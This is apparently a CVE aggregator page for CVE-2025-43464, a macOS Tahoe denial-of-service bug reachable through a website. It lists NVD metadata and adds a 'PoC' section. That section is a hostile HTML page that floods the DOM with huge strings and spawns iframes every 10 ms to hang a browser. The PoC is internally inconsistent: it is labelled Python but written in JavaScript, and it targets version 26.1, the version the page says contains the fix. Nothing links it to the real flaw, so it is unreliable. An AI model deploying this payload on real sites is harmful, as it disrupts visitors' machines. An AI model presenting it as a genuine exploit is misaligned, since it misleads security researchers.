CVE-2025-43464

Description

A denial-of-service issue was addressed with improved input validation. This issue is fixed in macOS Tahoe 26.1. Visiting a website may lead to an app denial-of-service.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

macOS Tahoe < 26.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-43464 PoC - macOS Tahoe 26.1 DoS
// This PoC demonstrates the denial of service condition
// Target: macOS Tahoe 26.1 Safari browser
// Disclaimer: For educational and authorized security testing only

const poc = {
  name: "CVE-2025-43464 macOS Tahoe DoS PoC",
  target: "macOS Tahoe 26.1",
  vulnerability: "Input validation issue leading to DoS",
  
  // Malicious HTML that triggers the vulnerability
  html: `
    <!DOCTYPE html>
    <html>
    <head>
      <title>CVE-2025-43464 PoC</title>
    </head>
    <body>
      <h1>Loading malicious content...</h1>
      <script>
        // Attempt to trigger the input validation issue
        // This specific payload targets the vulnerability in macOS Tahoe 26.1
        const payload = 'A'.repeat(100000);
        
        // Create elements that may trigger the validation issue
        for (let i = 0; i < 100; i++) {
          const div = document.createElement('div');
          div.innerHTML = payload;
          document.body.appendChild(div);
        }
        
        // Attempt rapid DOM manipulation
        setInterval(() => {
          const newElement = document.createElement('iframe');
          newElement.srcdoc = '<script>' + payload + '<\/script>';
          document.body.appendChild(newElement);
        }, 10);
      </script>
    </body>
    </html>
  `,
  
  // Attack vector description
  attackVector: {
    method: "User visits malicious website",
    requirement: "User interaction required (UI:R)",
    networkAccess: "Network-based attack (AV:N)"
  },
  
  // References
  references: [
    "https://nvd.nist.gov/vuln/detail/CVE-2025-43464",
    "https://support.apple.com/en-us/125634"
  ]
};

// Export for Node.js environment
if (typeof module !== 'undefined' && module.exports) {
  module.exports = poc;
}

console.log('CVE-2025-43464 PoC loaded');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-43464
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-43464
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-43464/
[4] VulDB https://vuldb.com/cve/CVE-2025-43464
[5] https://support.apple.com/en-us/125634

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-43464", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:54.607", "lastModified": "2025-12-15T22:06:54.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial-of-service issue was addressed with improved input validation. This issue is fixed in macOS Tahoe 26.1. Visiting a website may lead to an app denial-of-service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "081B6CCE-FFA4-409C-9353-15014F3AF436"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}